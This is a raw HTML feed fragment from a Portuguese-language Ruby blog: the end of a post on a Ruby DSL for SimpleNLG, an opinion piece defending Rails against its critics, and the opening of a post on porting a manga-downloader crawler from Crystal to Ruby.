</span></span><span class="line"><span class="cl">        <span class="n">compl</span> <span class="ss">:sp</span><span class="p">,</span> <span class="ss">MODAL</span><span class="p">:</span> <span class="s1">&#39;may&#39;</span><span class="p">,</span> <span class="ss">PASSIVE</span><span class="p">:</span> <span class="kp">true</span><span class="p">,</span> <span class="ss">TENSE</span><span class="p">:</span> <span class="s1">&#39;PAST&#39;</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">          <span class="n">verb</span> <span class="s1">&#39;test&#39;</span><span class="p">,</span> <span class="ss">TENSE</span><span class="p">:</span> <span class="s1">&#39;PAST&#39;</span><span class="p">,</span> <span class="ss">NEGATED</span><span class="p">:</span> <span class="kp">true</span>
</span></span><span class="line"><span class="cl">        <span class="k">end</span>
</span></span><span class="line"><span class="cl">      <span class="k">end</span>
</span></span><span class="line"><span class="cl">    <span class="k">end</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span><span class="o">.</span><span class="n">to_xml</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Entender as nuances de um <code>NPPhraseSpec</code> versus um <code>VPPhraseSpec</code>, ou a diferença entre um <code>WordElement</code> e um <code>StringElement</code>, está fora do escopo deste post. Mas a maior parte do XSD original foi mapeada <a href="https://github.com/Codeminer42/nlg_xml_realiser_builder/blob/master/lib/nlg_xml_realiser_builder/consts.rb"target="_blank" rel="noopener">neste arquivo de constantes</a>.</p>
<p>Tenho <a href="https://github.com/Codeminer42/nlg_xml_realiser_builder/blob/master/spec/nlg_xml_realiser_builder_spec.rb"target="_blank" rel="noopener">algumas specs de aceitação</a> que geram XMLs como o de cima, postam no meu NLG Web Service que está no ar e pegam de volta as frases em inglês resultantes. Vou mudar esse processo no futuro, mas você já pode testar por conta própria.</p>
<p>As vantagens começam aqui. Vamos olhar o exemplo anterior mais de perto. De novo, ele renderiza esta frase:</p>
<blockquote>
  <p>&ldquo;There are some finished and delivered stories that may not have been tested.&rdquo;</p>

</blockquote>
<p>Repare que está no plural porque estou falando de &lsquo;stories&rsquo;, mas e se eu quiser uma versão no singular?</p>
<p>Abaixo está a nova versão, onde eu envolvo o código num método e faço o atributo &lsquo;NUMBER&rsquo; aceitar tanto &lsquo;PLURAL&rsquo; quanto &lsquo;SINGULAR&rsquo;:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">example</span><span class="p">(</span><span class="n">plural</span> <span class="o">=</span> <span class="s1">&#39;PLURAL&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">dsl</span> <span class="o">=</span> <span class="no">NlgXmlRealiserBuilder</span><span class="o">::</span><span class="no">DSL</span><span class="o">.</span><span class="n">new</span>
</span></span><span class="line"><span class="cl">  <span class="n">dsl</span><span class="o">.</span><span class="n">builder</span><span class="p">(</span><span class="kp">true</span><span class="p">)</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">    <span class="n">sp</span> <span class="ss">:child</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">      <span class="n">subj</span> <span class="ss">:np</span><span class="p">,</span> <span class="s1">&#39;there&#39;</span><span class="p">,</span> <span class="ss">cat</span><span class="p">:</span> <span class="s1">&#39;ADVERB&#39;</span>
</span></span><span class="line"><span class="cl">      <span class="n">verb</span> <span class="s1">&#39;be&#39;</span><span class="p">,</span> <span class="ss">PERSON</span><span class="p">:</span> <span class="s1">&#39;THIRD&#39;</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">        <span class="n">compl</span> <span class="ss">:np</span><span class="p">,</span> <span class="o">[</span><span class="s1">&#39;a&#39;</span><span class="p">,</span> <span class="s1">&#39;story&#39;</span><span class="o">]</span><span class="p">,</span> <span class="ss">NUMBER</span><span class="p">:</span> <span class="n">plural</span>  <span class="k">do</span>
</span></span><span class="line"><span class="cl">          <span class="n">preMod</span> <span class="ss">:cp</span><span class="p">,</span> <span class="ss">conj</span><span class="p">:</span> <span class="s1">&#39;and&#39;</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">            <span class="n">coord</span> <span class="ss">:vp</span><span class="p">,</span> <span class="s1">&#39;finish&#39;</span><span class="p">,</span> <span class="ss">TENSE</span><span class="p">:</span> <span class="s1">&#39;PAST&#39;</span>
</span></span><span class="line"><span class="cl">            <span class="n">coord</span> <span class="ss">:vp</span><span class="p">,</span> <span class="s1">&#39;deliver&#39;</span><span class="p">,</span> <span class="ss">TENSE</span><span class="p">:</span> <span class="s1">&#39;PAST&#39;</span>
</span></span><span class="line"><span class="cl">          <span class="k">end</span>
</span></span><span class="line"><span class="cl">          <span class="n">compl</span> <span class="ss">:sp</span><span class="p">,</span> <span class="ss">MODAL</span><span class="p">:</span> <span class="s1">&#39;may&#39;</span><span class="p">,</span> <span class="ss">PASSIVE</span><span class="p">:</span> <span class="kp">true</span><span class="p">,</span> <span class="ss">TENSE</span><span class="p">:</span> <span class="s1">&#39;PAST&#39;</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">            <span class="n">verb</span> <span class="s1">&#39;test&#39;</span><span class="p">,</span> <span class="ss">TENSE</span><span class="p">:</span> <span class="s1">&#39;PAST&#39;</span><span class="p">,</span> <span class="ss">NEGATED</span><span class="p">:</span> <span class="kp">true</span>
</span></span><span class="line"><span class="cl">          <span class="k">end</span>
</span></span><span class="line"><span class="cl">        <span class="k">end</span>
</span></span><span class="line"><span class="cl">      <span class="k">end</span>
</span></span><span class="line"><span class="cl">    <span class="k">end</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span><span class="o">.</span><span class="n">to_xml</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E posso rodar a versão singular assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>puts example(&#39;SINGULAR&#39;)</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Esta é a frase resultante:</p>
<blockquote>
  <p>&ldquo;There is a finished and delivered story that may not have been tested.&rdquo;</p>

</blockquote>
<p>Olha como ele mudou o verbo de &ldquo;are&rdquo; para &ldquo;is&rdquo; e o determinante do substantivo de &ldquo;some&rdquo; para &ldquo;a&rdquo; sozinho! E claro, este é um exemplo bobo. Agora imagine um artigo inteiro customizável, cheio de parágrafos e frases que eu posso variar dependendo de várias variáveis que tenho.</p>
<p>Enquanto eu estudava e escrevia essa DSL, peguei uma compreensão razoável da estrutura do SimpleNLG, mas se você tem mais exemplos para estruturas de frase mais complexas, deixa nos comentários aí embaixo.</p>
<p>A maior parte das specs foi copiada dos testes do XML Realiser do projeto Java original para garantir que estou cobrindo a maioria dos casos.</p>
<p>Vai ser interessante ver se essa DSL facilita a vida de mais gente que queira experimentar com NLG. Como sempre, mandem seus Pull Requests, ideias e sugestões nos meus repositórios públicos do GitHub:</p>
<ul>
<li><a href="https://github.com/Codeminer42/nlg_service"target="_blank" rel="noopener">nlg_service</a></li>
<li><a href="https://github.com/Codeminer42/nlg_xml_realiser_builder"target="_blank" rel="noopener">nlg_xml_realiser_builder</a></li>
</ul>
<p>E se você se interessa pelo assunto de NLP e NLG, encontrei <a href="https://github.com/diasks2/ruby-nlp"target="_blank" rel="noopener">esta lista</a> de projetos open source relacionados em Ruby também.</p>
]]></content:encoded><category>ruby</category><category>java</category><category>rails</category></item><item><title>A Comunidade Ruby e a Reputação</title><link>https://akitaonrails.github.io/2016/08/19/a-comunidade-ruby-e-a-reputacao/</link><guid isPermaLink="true">https://akitaonrails.github.io/2016/08/19/a-comunidade-ruby-e-a-reputacao/</guid><pubDate>Fri, 19 Aug 2016 11:02:00 -0300</pubDate><description>&lt;p&gt;Acabei de ler os posts do &lt;a href="http://hawkins.io/2015/05/the-ruby-community-the-next-version/"target="_blank" rel="noopener"&gt;Adam Hawkins&lt;/a&gt; e o apoio do &lt;a href="http://www.alanbradburne.com/Rubys-reputation"target="_blank" rel="noopener"&gt;Alan Bradburne&lt;/a&gt; na Ruby Weekly.&lt;/p&gt;
&lt;p&gt;Como disclaimer, eu não conheço esses caras pessoalmente e respeito o ponto de vista deles. A intenção aqui não é começar um flame war, é só pintar um ponto de vista alternativo.&lt;/p&gt;
&lt;p&gt;Ambos os artigos representam o ponto de vista de muitos desenvolvedores Ruby veteranos dessa comunidade. Vários deles já partiram para outras tecnologias ou pararam de aparecer publicamente.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Acabei de ler os posts do <a href="http://hawkins.io/2015/05/the-ruby-community-the-next-version/"target="_blank" rel="noopener">Adam Hawkins</a> e o apoio do <a href="http://www.alanbradburne.com/Rubys-reputation"target="_blank" rel="noopener">Alan Bradburne</a> na Ruby Weekly.</p>
<p>Como disclaimer, eu não conheço esses caras pessoalmente e respeito o ponto de vista deles. A intenção aqui não é começar um flame war, é só pintar um ponto de vista alternativo.</p>
<p>Ambos os artigos representam o ponto de vista de muitos desenvolvedores Ruby veteranos dessa comunidade. Vários deles já partiram para outras tecnologias ou pararam de aparecer publicamente.</p>
<p>Eu já deixei minha posição bem clara em <a href="http://www.akitaonrails.com/2016/05/23/rails-venceu-o-elefante-na-sala"target="_blank" rel="noopener">&ldquo;Rails has Won: The Elephant in the Room&rdquo;</a>. Mas deixa eu simplificar aqui.</p>
<p>Tem claramente uma facção se formando. Tirando ótimos desenvolvedores como Solnic (dry-rb), Nick (Trailblazer) e Luca (Hanami), a maioria das pessoas está reclamando que o Rails e algumas das peças mais próximas do ecossistema ao redor dele não se encaixam na visão recém-descoberta deles do que seria o &ldquo;bom&rdquo;.</p>
<p>Na visão de mundo deles, um Rails &ldquo;melhor&rdquo; seria muito mais simples, muito mais explícito, composto de bibliotecas super pequenas, com APIs externas super explícitas, e super componibilidade pra desmontar e remontar pra todo lado.</p>
<p>E é aí que mora meu problema: se o DHH cedesse e tomasse esse caminho, isso seria &ldquo;Ruby OFF the Rails&rdquo;. O ponto inteiro de &ldquo;Ruby <strong>ON</strong> Rails&rdquo; existe justamente porque ele é definido como um full stack coerente, opinativo, com bibliotecas grossas (coarse-grained) feitas pra trabalhar juntas em sintonia.</p>
<p>Deixa eu apresentar o verdadeiro Elephant in the Room:</p>
<ul>
<li>
<p>Discussões como essa são só link baits inflamatórios. Não servem pra nada além de criar uma nuvem de animosidade contra alguma coisa, sem apresentar de fato uma alternativa boa e objetiva. Escrever bullet points é fácil; escrever soluções completas e mantê-las já é outro departamento.</p>
</li>
<li>
<p>Existem sim boas alternativas pipocando, como o já mencionado Trailblazer, o Hanami e a coleção de bibliotecas dry-rb, só pra citar algumas. A reclamação é que elas não têm tanta tração agora. Qual a solução? Falar mal do Rails? Escrever artigos chorosos sobre como a vida é injusta? Ou, melhor, escrever mais tutoriais sobre como usar Trailblazer? Gravar screencasts sobre como usar Hanami? Ir a uma conferência e fazer mais palestras sobre como importar dry-rb nos seus projetos?</p>
</li>
<li>
<p>O Ruby on Rails foi feito pra programadores cansados de super componibilidade, super configuração, super explicitação, super bibliotecas fine-grained. Foi feito pra programadores Java saindo direto do pesadelo que foi o J2EE 1.x em 2004, lembram disso? E agora a &ldquo;proposta&rdquo; é voltar pra aquilo? Desperdiçar quantidades enormes de tempo afinando seu mini-stack feito sob medida? A gente já tem isso. Chama Javascript. E deixa eu te falar: configurar a geração atual de <code>package.json</code> me traz memórias muito ruins de <code>pom.xml</code>, <code>hibernate.cfg.xml</code> e <code>struts-config.xml</code>.</p>
</li>
<li>
<p>Iniciantes não estão interessados em soluções fine-grained. A maioria das pessoas esquece como era ser iniciante. Na verdade, eu argumentaria que 80% dos desenvolvedores do mundo se beneficiam muito de uma abordagem como a do Rails. Não é coincidência que muitas plataformas se conformaram a uma abordagem opinativa, convention-over-configuration, depois que ela provou seu valor.</p>
</li>
</ul>
<p>O fato das pessoas estarem reclamando contra o Rails dá a sensação de que a culpa, de algum jeito, é do Rails. Na real, isso é só um reflexo da frustração das próprias pessoas que <strong>falharam</strong> (e estão falhando) em vender as alternativas. Todo mundo quer almoço grátis.</p>
<p>Deixa eu contar uma historinha.</p>
<p>Lá em 2005, eu era o único desenvolvedor Rails que eu conhecia no meu país (Brasil). Eu googlei por aí e achei uns meia dúzia de outros hobbyists fazendo Ruby por diversão, e um par já fazia profissionalmente.</p>
<p>As pessoas zoavam a gente em todo lugar que eu olhava porque achavam que a gente era doido. <em>&ldquo;Lógico que J2EE é o caminho.&rdquo; &ldquo;Lógico que todo projeto deveria seguir a abordagem DDD do Eric Evans.&rdquo; &ldquo;Lógico que todo projeto deveria seguir todos os Design Patterns do Gang of Four, quanto mais melhor.&rdquo; &ldquo;Lógico que a gente deveria ter pacotes de deploy bem isolados, com fronteiras de API bem explícitas entre eles, não importa o quanto isso derrube a produtividade.&rdquo;</em></p>
<p>Já passei por isso antes. Em 2004, eu já tinha mais de dez anos de experiência em programação profissional.</p>
<p>Levei mais dez anos de peregrinação. 9 anos organizando minha própria conferência. Mais de 1.000 posts no blog. Quase 200 palestras, várias delas que paguei do meu próprio bolso pra comprar passagens de ônibus e avião. Botei o dinheiro onde minha boca estava.</p>
<p>A promessa era substituir toda a complexidade e burocracia por uma stack opinativa, na qual a maioria das decisões básicas já estavam tomadas. Ela ficaria fora do nosso caminho pra que pudéssemos focar na parte mais importante: o negócio.</p>
<div class="video-container">
    <video controls>
        <source src="https://s3.us-east-2.amazonaws.com/blip.tv/Java_is_not_evil.mp4" type="video/mp4">
        Seu navegador não suporta a tag video. [Link Direto](https://s3.us-east-2.amazonaws.com/blip.tv/Java_is_not_evil.mp4)
    </video>
</div>
<p>Toda palestra de Rails que eu fiz desde 2006 tinha a seção acima. E com cada pessoa que assistiu qualquer uma das minhas palestras como testemunha, eu sempre disse:</p>
<blockquote>
  <p>&ldquo;Muitos de vocês ouviram que Java é ruim porque é muito complexo e burocrático. E muitos vão tentar vender suas alternativas às custas do Java. Nós não. Nós abraçamos o que Java tem a oferecer. Solr, Elasticsearch e Hadoop são todos feitos em Java. O que vamos fazer? Reescrever tudo em Ruby? Claro que não. Pra Rails Vencer, Java não precisa Perder.&rdquo; (E aí eu colocava fogo na imagem da &ldquo;edição evil&rdquo;, no palco).</p>

</blockquote>
<p>Eu escrevi um artigo em outubro de 2007 chamado <a href="http://www.akitaonrails.com/2007/10/23/para-eu-ganhar-o-outro-precisa-perder"target="_blank" rel="noopener">&ldquo;Para eu ganhar, o outro precisa perder &hellip;&rdquo;</a>, onde expliquei por que esse jeito de pensar é tão tosco. Também me inspirei na famosa palestra de Steve Jobs na Macworld de 1998, onde ele chamou o Bill Gates pro palco, na tela gigante, pra anunciar a colaboração entre eles. Os fanboys da Apple surtaram, ficaram horrorizados com aquela cena, foi como dormir com Satã.</p>
<p>Quase 20 anos depois, a Apple é uma das empresas mais valiosas do mundo. Porque não importava. Jobs deixou a ideologia pura pra trás e virou pragmático. Eles precisavam do endosso da Microsoft, conseguiram, e provaram seus pontos pelos resultados: passaram os anos 90 se masturbando sobre por que o clássico OS 7 a 9 era melhor que o Windows 3.1 até o NT 4. Mas levou dez anos pra provar o valor do OS X ao longo da primeira década do século XXI. Um passo de cada vez, um release atrás do outro, entregando com frequência, em vez de passar anos trancados nos laboratórios até a solução &ldquo;perfeita&rdquo; surgir. Baby steps. Culminou quando eles espremeram o OS X dentro do iOS em 2007.</p>
<p>É assim que se prova um ponto: através de suor e dor, colocando aquilo na rua, vendendo, evangelizando e criando valor real, um pequeno release de cada vez.</p>
<p>E aí aconteceu isto:</p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/559/big_mac-school.jpg" alt="Macbooks por todo lado"  loading="lazy" /></p>
<p>Lembram quando a Apple dominou o mundo? Uma década inteira pra voltar de <a href="http://money.cnn.com/1998/10/14/technology/apple/"target="_blank" rel="noopener">sangrar 1 bilhão por ano</a> até virar a <a href="http://fortune.com/2016/02/03/apple-facebook-amazon-google/"target="_blank" rel="noopener">empresa mais valiosa do mundo</a>, cujos efeitos ainda continuam 5 anos depois da morte do Jobs.</p>
<p>Alguns de nós entendemos que engenheiros gostam de se masturbar sobre coisas irrelevantes.</p>
<blockquote>
  <p>&ldquo;- Meu algoritmo roda 0.1 milissegundos mais rápido que o seu&rdquo;.</p>

</blockquote>
<blockquote>
  <p>&ldquo;- Ha, mas meu design tem menos pontos de dependência que o seu!&rdquo;</p>

</blockquote>
<p>O Rails fez pelo Ruby o que a Apple fez pelo Unix e o que a Canonical fez pelas distros baseadas em Linux. As pessoas reclamando do Rails me lembram as pessoas tentando argumentar por que o Archlinux é muito superior ao OS X ou ao Ubuntu, mas é só que as pessoas em geral são burras demais pra perceber esse valor.</p>
<p>E pra alguns, talvez não seja exatamente um elogio estar na mesma liga da Apple ou da Canonical, mas os resultados são inegáveis.</p>
<p>Lembram do lendário &ldquo;blog em 15 minutos&rdquo;? Por que aquilo nos surpreendeu tanto em 2005? Não era o que o Rails podia fazer; era todo o trabalho que a gente não precisava fazer. E o Rails permaneceu fiel a isso até hoje.</p>
<p>Se você é um programador iniciante, o Rails ainda tem muito o que ensinar, e você pode aprender os detalhes depois.</p>
<p>Se você é o programador mediano, o ecossistema do Rails vai te levar do ponto A ao ponto B muito mais rápido, com produtividade e manutenibilidade melhores.</p>
<p>Por que você está reclamando se você é o programador estrela do tech, financiado por um unicórnio?</p>
<p>Programadores reclamões estão esquecendo um dos nossos próprios ditados favoritos: &ldquo;Otimização Prematura é a Raiz de Todo Mal&rdquo;. E como o &ldquo;UNIX way&rdquo; já dizia:</p>
<blockquote>
  <p>A estratégia é, definitivamente:</p>

</blockquote>
<blockquote>
  <p>Faça funcionar,</p>

</blockquote>
<blockquote>
  <p>Depois faça do jeito certo,</p>

</blockquote>
<blockquote>
  <p>e, por fim, faça rápido.</p>

</blockquote>
<p>Não tem nada de errado em ter alternativas ao Rails, mas o bashing contra Rails está ficando muito velho muito rápido. Vender alternativas é difícil, eu sei. Gastei muita sola de sapato nos últimos 10 anos evangelizando Ruby, então eu sei mesmo.</p>
<p>Eu nunca acreditei em almoço grátis. Eu acredito em trabalho duro e direcionado, e essa tem sido minha filosofia nos últimos 25 anos de programação.</p>
]]></content:encoded><category>rails</category><category>ruby</category></item><item><title>[Manga-Downloadr] Portando de Crystal para Ruby (e um pouco de JRuby)</title><link>https://akitaonrails.github.io/2016/06/06/manga-downloadr-portando-de-crystal-para-ruby-e-um-pouco-de-jruby/</link><guid isPermaLink="true">https://akitaonrails.github.io/2016/06/06/manga-downloadr-portando-de-crystal-para-ruby-e-um-pouco-de-jruby/</guid><pubDate>Mon, 06 Jun 2016 18:06:00 -0300</pubDate><description>&lt;p&gt;Eu tenho um projetinho pessoal antigo chamado &lt;a href="http://www.akitaonrails.com/2014/12/17/small-bites-downloader-para-mangareader-kindle-edition"target="_blank" rel="noopener"&gt;Manga Downloadr&lt;/a&gt; que publiquei em 2014. Era uma versão bem tosca. Eu estava experimentando com requisições assíncronas usando Typhoeus e no final o código acabou ficando uma bagunça absurda.&lt;/p&gt;
&lt;p&gt;A natureza do Manga Downloader original é a de um web crawler: ele baixa páginas HTML, faz parse para encontrar coleções de links e segue baixando até que um conjunto de imagens seja salvo. Depois eu organizo tudo em volumes, otimizo para caber na resolução de tela do Kindle e compilo em arquivos PDF. Isso faz desse projeto um exercício interessante para tentar fazer requisições HTTP concorrentes e processar os resultados.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Eu tenho um projetinho pessoal antigo chamado <a href="http://www.akitaonrails.com/2014/12/17/small-bites-downloader-para-mangareader-kindle-edition"target="_blank" rel="noopener">Manga Downloadr</a> que publiquei em 2014. Era uma versão bem tosca. Eu estava experimentando com requisições assíncronas usando Typhoeus e no final o código acabou ficando uma bagunça absurda.</p>
<p>A natureza do Manga Downloader original é a de um web crawler: ele baixa páginas HTML, faz parse para encontrar coleções de links e segue baixando até que um conjunto de imagens seja salvo. Depois eu organizo tudo em volumes, otimizo para caber na resolução de tela do Kindle e compilo em arquivos PDF. Isso faz desse projeto um exercício interessante para tentar fazer requisições HTTP concorrentes e processar os resultados.</p>
<p>Um ano depois eu estava aprendendo Elixir. O Manga Downloadr era um bom candidato para eu descobrir como implementar a mesma coisa em outra linguagem. Você pode acompanhar o meu processo de aprendizado <a href="http://www.akitaonrails.com/exmangadownloadr"target="_blank" rel="noopener">nessa série de posts</a>.</p>
<p>Finalmente, venho aprendendo mais sobre Crystal, uma plataforma inspirada em Ruby que compila código fonte parecido com Ruby em binários nativos otimizados via LLVM. E de bônus oferece canais e fibras no estilo CSP, parecido com Go, para permitir código concorrente.</p>
<p>Então adaptei minha versão Elixir para Crystal e o resultado é esse código que você encontra no Github como <a href="https://github.com/akitaonrails/cr_manga_downloadr"target="_blank" rel="noopener">akitaonrails/cr_manga_downloadr</a>.</p>
<p>Funciona muito bem e roda bem rápido, limitado principalmente por quantas requisições o MangaReader consegue responder concorrentemente e pela velocidade/confiabilidade da conexão de Internet. E como minha versão Ruby original era um código terrível, era uma boa hora para reescrevê-la. E como Crystal é surpreendentemente próximo de Ruby, decidi portar.</p>
<blockquote>
  <p>A portagem foi quase trivial demais</p>

</blockquote>
<p>Foi praticamente copiar e colar o código Crystal sem as anotações de tipo. E tive que substituir a implementação leve de Fibers e Channel para concorrência pelas tradicionais Threads de Ruby.</p>
<p>A nova versão 2.0 da ferramenta em Ruby pode ser encontrada nesse repositório no Github: <a href="https://github.com/akitaonrails/manga-downloadr"target="_blank" rel="noopener">akitaonrails/manga-downloadr</a>.</p>
<h3>Ruby, Ruby por todo lado!<span class="hx:absolute hx:-mt-20" id="ruby-ruby-por-todo-lado"></span>
    <a href="#ruby-ruby-por-todo-lado" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Transitar entre Ruby e Crystal não é tão difícil. O time do Crystal fez um trabalho fantástico implementando uma Standard Library (stdlib) muito sólida, que se assemelha bastante à do MRI Ruby.</p>
<p>Por exemplo, vamos comparar primeiro um trecho da minha versão Crystal:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">fetch</span><span class="p">(</span><span class="n">page_link</span> <span class="p">:</span> <span class="nb">String</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">get</span> <span class="n">page_link</span> <span class="k">do</span> <span class="o">|</span><span class="n">html</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">    <span class="n">images</span> <span class="o">=</span> <span class="n">html</span><span class="o">.</span><span class="n">xpath</span><span class="p">(</span><span class="s2">&#34;//img[contains(@id, &#39;img&#39;)]&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">as</span><span class="p">(</span><span class="no">XML</span><span class="o">::</span><span class="no">NodeSet</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">image_alt</span> <span class="o">=</span> <span class="n">images</span><span class="o">[</span><span class="mi">0</span><span class="o">][</span><span class="s2">&#34;alt&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">image_src</span> <span class="o">=</span> <span class="n">images</span><span class="o">[</span><span class="mi">0</span><span class="o">][</span><span class="s2">&#34;src&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">image_alt</span> <span class="o">&amp;&amp;</span> <span class="n">image_src</span>
</span></span><span class="line"><span class="cl">      <span class="n">extension</span>      <span class="o">=</span> <span class="n">image_src</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34;.&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">last</span>
</span></span><span class="line"><span class="cl">      <span class="n">list</span>           <span class="o">=</span> <span class="n">image_alt</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34; &#34;</span><span class="p">)</span><span class="o">.</span><span class="n">reverse</span>
</span></span><span class="line"><span class="cl">      <span class="n">title_name</span>     <span class="o">=</span> <span class="n">list</span><span class="o">[</span><span class="mi">4</span><span class="o">..-</span><span class="mi">1</span><span class="o">].</span><span class="n">join</span><span class="p">(</span><span class="s2">&#34; &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="n">chapter_number</span> <span class="o">=</span> <span class="n">list</span><span class="o">[</span><span class="mi">3</span><span class="o">].</span><span class="n">rjust</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span> <span class="s1">&#39;0&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="n">page_number</span>    <span class="o">=</span> <span class="n">list</span><span class="o">[</span><span class="mi">0</span><span class="o">].</span><span class="n">rjust</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span> <span class="s1">&#39;0&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="n">uri</span> <span class="o">=</span> <span class="no">URI</span><span class="o">.</span><span class="n">parse</span><span class="p">(</span><span class="n">image_src</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="no">CrMangaDownloadr</span><span class="o">::</span><span class="no">Image</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">uri</span><span class="o">.</span><span class="n">host</span> <span class="n">as</span> <span class="nb">String</span><span class="p">,</span> <span class="n">uri</span><span class="o">.</span><span class="n">path</span> <span class="n">as</span> <span class="nb">String</span><span class="p">,</span> <span class="s2">&#34;</span><span class="si">#{</span><span class="n">title_name</span><span class="si">}</span><span class="s2">-Chap-</span><span class="si">#{</span><span class="n">chapter_number</span><span class="si">}</span><span class="s2">-Pg-</span><span class="si">#{</span><span class="n">page_number</span><span class="si">}</span><span class="s2">.</span><span class="si">#{</span><span class="n">extension</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span>
</span></span><span class="line"><span class="cl">      <span class="k">raise</span> <span class="no">Exception</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="s2">&#34;Couldn&#39;t find proper metadata alt in the image tag&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">end</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Agora vamos olhar a versão portada para Ruby:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

